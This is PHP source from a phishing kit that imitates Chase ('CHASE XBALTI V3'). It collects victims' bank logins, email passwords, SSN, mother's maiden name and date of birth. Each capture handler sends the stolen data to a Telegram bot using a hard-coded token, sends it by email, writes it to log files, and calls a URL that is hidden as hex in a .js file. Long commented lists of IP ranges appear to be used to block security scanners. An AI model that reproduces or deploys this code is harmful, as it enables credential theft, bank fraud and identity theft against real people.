"^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
if(isset($_POST['email1']) && isset($_POST['password1'])){
if(!empty($_POST['email1']) && !empty($_POST['password1'])){
$_SESSION['email1'] = $_POST['email1'];
$_SESSION['password1'] = $_POST['password1'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".$_SESSION['email']."
</td>
<td>
".$_SESSION['password']."
</td>
<td>
".$_SESSION['email1']."
</td>
<td>
".$_SESSION['password1']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/emailstwo".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/emailstwo.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "EMAIL TWO 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
if(isset($_POST['ssnnum']) && isset($_POST['mdn']) && isset($_POST['dob'])){
if(!empty($_POST['ssnnum']) && !empty($_POST['mdn']) && !empty($_POST['dob'])){
$_SESSION['ssnnum'] = $_POST['ssnnum'];
$_SESSION['mdn'] = $_POST['mdn'];
$_SESSION['dob'] = $_POST['dob'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN : ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN : ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB : ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".$_SESSION['email']."
</td>
<td>
".$_SESSION['password']."
</td>
<td>
".$_SESSION['email1']."
</td>
<td>
".$_SESSION['password1']."
</td>
<td>
".$_SESSION['ssnnum']."
</td>
<td>
".$_SESSION['mdn']."
</td>
<td>
".$_SESSION['dob']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/ssn".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/ssn.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "SSN/MMN/DOB 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", 